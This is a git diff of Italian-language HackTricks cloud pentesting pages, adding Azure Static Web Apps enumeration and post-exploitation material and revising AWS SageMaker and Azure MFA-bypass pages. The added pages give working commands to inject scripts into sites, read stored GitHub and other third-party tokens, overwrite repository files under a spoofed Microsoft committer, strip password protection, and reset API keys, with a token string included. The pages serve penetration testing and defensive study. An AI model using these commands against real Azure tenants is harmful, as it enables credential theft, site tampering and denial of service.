diff --git a/src/images/azure_static_password.png b/src/images/azure_static_password.png new file mode 100644 index 000000000..9b1142516 Binary files /dev/null and b/src/images/azure_static_password.png differ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index ce3136e9a..bd45708d5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -17,7 +17,7 @@ La risposta dovrebbe contenere un campo `NotebookInstanceArn`, che conterrà l'A aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Naviga all'URL con il browser e clicca su \`Open JupyterLab\` in alto a destra, poi scorri verso il basso alla scheda “Launcher” e sotto la sezione “Other”, clicca sul pulsante “Terminal”. +Naviga all'URL con il browser e clicca su \`Open JupyterLab\` in alto a destra, poi scorri verso il basso fino alla scheda “Launcher” e sotto la sezione “Other”, clicca sul pulsante “Terminal”. Ora è possibile accedere alle credenziali dei metadati del ruolo IAM. @@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name /resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"name": "supersnippet", +"location": "Body", +"applicableEnvironmentsMode": "AllEnvironments", +"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", +"environments": [], +"insertBottom": false +} +}' +``` +### Leggi le credenziali di terze parti configurate + +Come spiegato nella sezione App Service: + +{{#ref}} +../az-privilege-escalation/az-app-services-privesc.md +{{#endref}} + +Eseguendo il seguente comando è possibile **leggere le credenziali di terze parti** configurate nell'account attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro. +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +Questo comando restituisce token per Github, Bitbucket, Dropbox e OneDrive. + +Ecco alcuni esempi di comandi per controllare i token: +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### Sovrascrivere file - Sovrascrivere percorsi, HTML, JS... + +È possibile **sovrascrivere un file all'interno del repository Github** contenente l'app tramite Azure inviando una richiesta come la seguente, che indicherà il percorso del file da sovrascrivere, il contenuto del file e il messaggio di commit. + +Questo può essere sfruttato dagli attaccanti per **cambiare il contenuto dell'app web** per servire contenuti dannosi (rubare credenziali, chiavi mnemoniche...) o semplicemente per **reindirizzare determinati percorsi** ai propri server sovrascrivendo il file `staticwebapp.config.json`. + +> [!WARNING] +> Nota che se un attaccante riesce a compromettere il repository Github in qualsiasi modo, può anche sovrascrivere il file direttamente da Github. +```bash +curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ +-H "Content-Type: application/json" \ +-d '{ +"commit": { +"message": "Update static web app route configuration", +"branchName": "main", +"committer": { +"name": "Azure App Service", +"email": "donotreply@microsoft.com" +}, +"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", +"filePath": "staticwebapp.config.json", +"message": "Update static web app route configuration", +"repoName": "carlospolop/my-first-static-web-app", +"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" +}, +"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" +}' +``` +### Microsoft.Web/staticSites/config/write + +Con questo permesso, è possibile **modificare la password** che protegge un'app web statica o addirittura rimuovere la protezione da ogni ambiente inviando una richiesta come la seguente: +```bash +# Change password +az rest --method put \ +--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ +--headers 'Content-Type=application/json' \ +--body '{ +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"password": "SuperPassword123.", +"secretUrl": "", +"applicableEnvironmentsMode": "AllEnvironments" +} +}' + +# Remove the need of a password +az rest --method put \ +--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ +--headers 'Content-Type=application/json' \ +--body '{ +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"secretUrl": "", +"applicableEnvironmentsMode": "SpecifiedEnvironments", +"secretState": "None" +} +}' +``` +### Microsoft.Web/staticSites/listSecrets/action + +Questo permesso consente di ottenere il **token di distribuzione della chiave API** per l'app statica. + +Questo token consente di distribuire l'app. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" +``` +Poi, per aggiornare un'app, puoi eseguire il seguente comando. Nota che questo comando è stato estratto controllando **come funziona Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, poiché è quello impostato da Azure per impostazione predefinita. Quindi l'immagine e i parametri potrebbero cambiare in futuro. + +1. Scarica il repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (o qualsiasi altro repo che desideri distribuire) ed esegui `cd react-basic`. +2. Modifica il codice che desideri distribuire +3. Distribuiscilo eseguendo (Ricorda di cambiare il ``): +```bash +docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose +``` +### Microsoft.Web/staticSites/write + +Con questo permesso è possibile **cambiare la sorgente dell'app web statica in un diverso repository Github**, tuttavia, non verrà automaticamente fornito poiché questo deve essere fatto da un'azione Github di solito con il token che ha autorizzato l'azione poiché questo token non viene aggiornato automaticamente all'interno dei segreti Github del repository (viene semplicemente aggiunto automaticamente quando l'app viene creata). +```bash +az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main +``` +### Microsoft.Web/staticSites/resetapikey/action + +Con questo permesso è possibile **reimpostare la chiave API dell'app web statica**, potenzialmente causando un DoS ai flussi di lavoro che distribuiscono automaticamente l'app. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index b0e7ce01c..f837ebf19 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,10 +1,10 @@ -# Az - Politiche di Accesso Condizionale & Bypass MFA +# Az - Politiche di Accesso Condizionale e Bypass MFA {{#include ../../../../banners/hacktricks-training.md}} ## Informazioni di Base -Le politiche di accesso condizionale di Azure sono regole impostate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure in base a determinate **condizioni**. Queste politiche aiutano le organizzazioni a proteggere le proprie risorse applicando i giusti controlli di accesso nelle giuste circostanze.\ +Le politiche di accesso condizionale di Azure sono regole impostate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure in base a determinate **condizioni**. Queste politiche aiutano le organizzazioni a proteggere le loro risorse applicando i giusti controlli di accesso nelle giuste circostanze.\ Le politiche di accesso condizionale **definiscono** **Chi** può accedere a **Cosa** da **Dove** e **Come**. Ecco un paio di esempi: @@ -14,7 +14,7 @@ Ecco un paio di esempi: ## Bypass delle Politiche di Accesso Condizionale -È possibile che una politica di accesso condizionale **stia controllando alcune informazioni che possono essere facilmente manomesse, consentendo un bypass della politica**. E se, ad esempio, la politica fosse configurata per MFA, l'attaccante sarà in grado di bypassarla. +È possibile che una politica di accesso condizionale **verifichi alcune informazioni che possono essere facilmente manomesse, consentendo un bypass della politica**. E se, ad esempio, la politica fosse configurata per MFA, l'attaccante sarà in grado di bypassarla. Quando si configura una politica di accesso condizionale, è necessario indicare gli **utenti** interessati e le **risorse target** (come tutte le app cloud). @@ -22,7 +22,7 @@ Quando si configura una politica di accesso condizionale, è necessario indicare - **Rete**: IP, intervalli IP e posizioni geografiche - Può essere bypassato utilizzando una VPN o un Proxy per connettersi a un paese o riuscendo ad accedere da un indirizzo IP consentito -- **Rischi Microsoft**: Rischio utente, rischio di accesso, rischio insider +- **Rischi Microsoft**: Rischio utente, rischio di accesso, rischio interno - **Piattaforme dei dispositivi**: Qualsiasi dispositivo o selezionare Android, iOS, Windows phone, Windows, macOS, Linux - Se “Qualsiasi dispositivo” non è selezionato ma tutte le altre opzioni sono selezionate, è possibile bypassarlo utilizzando un user-agent casuale non correlato a quelle piattaforme - **App client**: Le opzioni sono “Browser”, “App mobili e client desktop”, “Client Exchange ActiveSync” e “Altri client” @@ -31,7 +31,7 @@ Quando si configura una politica di accesso condizionale, è necessario indicare - **Flussi di autenticazione**: Le opzioni sono “Flusso di codice dispositivo” e “Trasferimento di autenticazione” - Questo non influenzerà un attaccante a meno che non stia cercando di abusare di uno di questi protocolli in un tentativo di phishing per accedere all'account della vittima -I possibili **risultati** sono: Bloccare o Consentire l'accesso con potenziali condizioni come richiedere MFA, dispositivo conforme… +I possibili **risultati** sono: Blocca o Consenti accesso con potenziali condizioni come richiedere MFA, dispositivo conforme… ### Piattaforme dei Dispositivi - Condizione del Dispositivo @@ -44,9 +44,9 @@ Puoi cambiare manualmente l'user agent negli strumenti per sviluppatori:
- Oppure utilizzare un [browser extension come questa](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). +Oppure utilizzare un [browser extension come questa](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). -### Posizioni: Paesi, intervalli IP - Condizione del Dispositivo +### Località: Paesi, intervalli IP - Condizione del Dispositivo Se questo è impostato nella politica condizionale, un attaccante potrebbe semplicemente utilizzare una **VPN** nel **paese consentito** o cercare di trovare un modo per accedere da un **indirizzo IP consentito** per bypassare queste condizioni. @@ -78,7 +78,7 @@ Lo strumento [**ROPCI**](https://github.com/wunderwuzzi23/ropci) può essere uti Una delle opzioni MFA di Azure è **ricevere una chiamata al numero di telefono configurato** dove verrà chiesto all'utente di **inviare il carattere `#`**. > [!CAUTION] -> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio di **voicemail** del numero di telefono, configurando come messaggio il **tono di `#`** e poi, quando si richiede la MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata di Azure venga reindirizzata alla voicemail. +> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio della **segreteria telefonica** del numero di telefono, configurando come messaggio il **tono di `#`** e poi, quando si richiede la MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata di Azure venga reindirizzata alla segreteria telefonica. ### Dispositivi Conformi @@ -110,7 +110,7 @@ Questo è utile per vedere se **non è richiesta MFA per accedere ad alcune appl ### [roadrecon](https://github.com/dirkjanm/ROADtools) -Ottieni tutte le politiche +Ottieni tutte le politiche. ```bash roadrecon plugin policies ``` diff --git a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md new file mode 100644 index 000000000..e9ba42281 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md @@ -0,0 +1,109 @@ +# Az - Static Web Apps + +{{#include ../../../banners/hacktricks-training.md}} + +## Static Web Apps Basic Information + +Azure Static Web Apps è un servizio cloud per l'hosting di **app web statiche con CI/CD automatico da repository come GitHub**. Offre distribuzione globale dei contenuti, backend serverless e HTTPS integrato, rendendolo sicuro e scalabile. Tuttavia, i rischi includono CORS mal configurati, autenticazione insufficiente e manomissione dei contenuti, che possono esporre le app ad attacchi come XSS e data leakage se non gestiti correttamente. + +> [!TIP] +> Quando viene creata un'App Statica, puoi scegliere la **politica di autorizzazione al deployment** tra **Token di deployment** e **workflow di GitHub Actions**. + + +### Web App Authentication + +È possibile **configurare una password** per accedere all'App Web. La console web consente di configurarla per proteggere solo gli ambienti di staging o sia gli ambienti di staging che quello di produzione. + +Questo è come appare un'app web protetta da password al momento della scrittura: + +
+ + +È possibile vedere **se viene utilizzata una password** e quali ambienti sono protetti con: +```bash +az rest --method GET \ +--url "/subscriptions//resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2024-04-01" +``` +Tuttavia, questo **non mostrerà la password in chiaro**, solo qualcosa come: `"password": "**********************"`. + +### Routes + +Le route definiscono **come vengono gestite le richieste HTTP in arrivo** all'interno di un'app web statica. Configurate nel file **`staticwebapp.config.json`**, controllano la riscrittura degli URL, le redirezioni, le restrizioni di accesso e l'autorizzazione basata sui ruoli, garantendo una corretta gestione delle risorse e sicurezza. + +Alcuni esempi: +```json +{ +"routes": [ +{ +"route": "/", +"rewrite": "/index.html" +}, +{ +"route": "/about", +"rewrite": "/about.html" +}, +{ +"route": "/api/*", +"allowedRoles": ["authenticated"] +}, +{ +"route": "/admin", +"redirect": "/login", +"statusCode": 302 +} +], +"navigationFallback": { +"rewrite": "/index.html", +"exclude": ["/api/*", "/assets/*"] +} +} +``` +## Enumerazione +```bash +# List Static Webapps +az staticwebapp list --output table + +# Get Static Webapp details +az staticwebapp show --name --resource-group --output table + +# Get appsettings +az staticwebapp appsettings list --name + +# Get env information +az staticwebapp environment list --name +az staticwebapp environment functions --name + +# Get API key +az staticwebapp secrets list --name + +# Get invited users +az staticwebapp users list --name + +# Get database connections +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//databaseConnections?api-version=2021-03-01" + +## Once you have the database connection name ("default" by default) you can get the connection string with the credentials +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//databaseConnections/default/show?api-version=2021-03-01" +``` +## Esempi per generare Web App + +Puoi trovare un bel esempio per generare un'app web nel seguente link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github) + +1. Forka il repository https://github.com/staticwebdev/react-basic/generate nel tuo account GitHub e chiamalo `my-first-static-web-app` +2. Nel portale Azure crea una Static Web App configurando l'accesso a Github e selezionando il nuovo repository forkato in precedenza +3. Crealo, aspetta qualche minuto e controlla la tua nuova pagina! + +## Post Exploitation + +{{#ref}} +../az-privilege-escalation/az-static-web-apps-post-exploitation.md +{{#endref}} + +## Riferimenti + +- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) +- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans) + +{{#include ../../../banners/hacktricks-training.md}}